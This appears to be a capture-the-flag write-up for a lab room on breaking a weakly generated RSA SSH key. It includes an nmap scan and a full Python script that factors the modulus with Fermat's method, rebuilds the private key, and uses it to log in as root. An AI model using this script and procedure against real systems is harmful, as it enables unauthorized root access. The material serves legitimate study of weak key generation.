Breaking RSA
Hop in and break poorly implemented RSA using Fermat's factorization algorithm.
Let's start with a simple nmap scan.
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- 10.10.251.239 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-19 00:51 EST
Warning: 10.10.251.239 giving up on port because retransmission cap hit (6).
Stats: 0:18:56 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 92.68% done; ETC: 01:12 (0:01:30 remaining)
Nmap scan report for 10.10.251.239
Host is up (0.15s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
27567/tcp filtered unknown
31710/tcp filtered unknown
36144/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 1247.83 seconds
We can see there are 2 open ports, SSH on port 22 and a web server on port 80.
Let's enumerate the directories now. We are using Gobuster.

We have found only one directory i.e: /development.
Let's visit the web server now.

Nothing to go one here. Let's visit /development.

There are two files as we can see.
id_rsa.pub
log.txt
The log.txt
re iterates what is already mentioned in the description of the room.

We know from the challenge that we are dealing with a weak RSA implementation. We will most likely be to extract N
and e
from the public key in order to factorize N
, getting p
and q
, and finally calculate d
. The value d
is the private key. If we have N
, e
, and d
, we can generate the private SSH key and then access the machine.
Let's download the public key.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrZh8oe8Q8j6kt26IZ906kZ7XyJ3sFCVczs1Gqe8w7ZgU+XGL2vpSD100andPQMwDi3wMX98EvEUbTtcoM4p863C3h23iUOpmZ3Mw8z51b9DEXjPLunPnwAYxhIxdP7czKlfgUCe2n49QHuTqtGE/Gs+avjPcPrZc3VrGAuhFM4P+e4CCbd9NzMtBXrO5HoSV6PEw7NSR7sWDcAQ47cd287U8h9hIf9Paj6hXJ8oters0CkgfbuG99SVVykoVkMfiRXIpu+Ir8Fu1103Nt/cv5nJX5h/KpdQ8iXVopmQNFzNFJjU2De9lohLlUZpM81fP1cDwwGF3X52FzgZ7Y67Je56Rz/fc8JMhqqR+N5P5IyBcSJlfyCSGTfDf+DNiioRGcPFIwH+8cIv9XUe9QFKo9tVI8ElE6U80sXxUYvSg5CPcggKJy68DET2TSxO/AGczxBjSft/BHQ+vwcbGtEnWgvZqyZ49usMAfgz0t6qFp4g1hKFCutdMMvPoHb1xGw9b1FhbLEw6j9s7lMrobaRu5eRiAcIrJtv+5hqX6r6loOXpd0Ip1hH/Ykle2fFfiUfNWCcFfre2AIQ1px9pL0tg8x1NHd55edAdNY3mbk3I66nthA5a0FrKrnEgDXLVLJKPEUMwY8JhAOizdOCpb2swPwvpzO32OjjNus7tKSRe87w==
We can use the ssh-keygen
utility to find the length of the discovered RSA key.
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh-keygen -l -f id_rsa.pub
**** SHA256:DIqTDIhboydTh2QU6i58JP+5aDRnLBPT8GwVun1n0Co no comment (RSA)
The following source gives us an example of how the parameters N
and e
can be retrieved from the public key using Python.
┌──(kali㉿kali)-[~/Downloads]
└─$ python
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> f = open("id_rsa.pub", "r")
>>> key = RSA.importKey(f.read())
>>> key.n
[REDACTED]
>>> key.e
[REDACTED]
The challenge gives us a direct indication of how to calculate p
and q
in this case of weak implementation. We have to use Fermat's Factorization method. If we have p
and q
, we can calculate the private key d
via the inverse of e
. The challenge room also gives us an implementation of Fermat's Factorization algorithm in python.
Now we have to generate the private SSH key from our values of the parameters N
, e
, and d
. With the help of the followig source:
After being held at this point for quite some time. I eventually reffered to other write ups and this one helped the most with implementing the code of fermat factorization. I recommend giving it a read for a much more detailed understanding.
import gmpy2
from Crypto.PublicKey import RSA
def fermat_factorization(n):
"""Fermat's Factorization Method"""
a = gmpy2.isqrt(n) + 1
b2 = gmpy2.square(a) - n
while not gmpy2.is_square(b2):
a += 1
b2 = gmpy2.square(a) - n
p = a + gmpy2.isqrt(b2)
q = a - gmpy2.isqrt(b2)
return p, q
def calculate_private_key(p, q, e):
"""Calculate the private key 'd'"""
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
return d
# Open the RSA key file
with open("id_rsa.pub", "r") as f:
# Import the RSA key
key = RSA.import_key(f.read())
# Retrieve the modulus (n) and public exponent (e)
n = key.n
e = key.e
# Print the modulus and public exponent
print("\033[96mModulus (n):\033[0m", n)
print("\033[96mPublic Exponent (e):\033[0m", e)
# Factorize n into p and q using Fermat's Factorization
p, q = fermat_factorization(n)
# Calculate private key 'd' using p, q, and public exponent 'e'
d = calculate_private_key(p, q, e)
difference = abs(p - q)
print("\033[93mp:\033[0m", p)
print("\033[93mq:\033[0m", q)
print("\033[93mDifference between q and p:\033[0m", difference)
print("\033[96mPrivate Key (d):\033[0m", d)
key_params = (n, e, d, p, q)
key = RSA.construct((n,e,int(d)))
# Export the private key to a file
with open('id_rsa', 'wb') as f:
f.write(key.export_key('PEM'))
print("\033[92mPrivate key generated and saved as 'id_rsa'.\033[0m")
We use gmpy2
to calculate with large values.
It is now time to run our finished script.
┌──(kali㉿kali)-[~/Downloads]
└─$ python rsa.py
Modulus (n): 960343778775549488806716229688022562692463185460664314559819511657255292180827209174624059690060629715513180527734160798185034958883650709727032190772084959116259664047922715427522089353727952666824433207585440395813418471678775572995422248008108462980790558476993362919639516120538362516927622315187274971734081435230079153205750751020642956757117030852053008146976560531583447003355135460359928857010196241497604249151374353653491684214813678136396641706949128453526566651123162138806898116027920918258136713427376775618725136451984896300788465604914741872970173868541940675400325006679662030787570986695243903017923121105483935334289783830664260722704673471688470355268898058414366742781725580377180144541978809005281731232604162936015554289274471523038666760994260315829982230640668811250447030003462317740603204577123985618718687833015332554488836087898084147236609893032121172292368637672349405254772581742883431648376052937332995630141793928654990078967475194724151821689117026010445305375748604757116271353498403318409547515058838447618537811182917198454172161072247021099572638700461507432831248944781465511414308770376182766366160748136532693805002316728842876519091399408672222673058844554058431161474308624683491225222383
Public Exponent (e): 65537
p: [REDACTED]
q: [REDACTED]
Difference between q and p: [REDACTED]
Private Key (d): [REDACTED]
Private key generated and saved as 'id_rsa'.
After running the script we answer question 4 and 6. ie
What are the last 10 digits of n? (where 'n' is the modulus for the public-private key pair)
What is the numerical difference between p and q?
We can SSH in as root and we get our flag.
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -i id_rsa root@10.10.73.144
The authenticity of host '10.10.73.144 (10.10.73.144)' can't be established.
ED25519 key fingerprint is SHA256:p8ToZTCl6UDL9y+eR4LyuFIrGt62U3kJ+oLKS6Iua84.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.73.144' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Aug 13 09:35:51 2022 from 10.0.0.11
root@thm:~# ls
flag snap
root@thm:~# cat flag
[REDACTED]
root@thm:~#
Last updated
Was this helpful?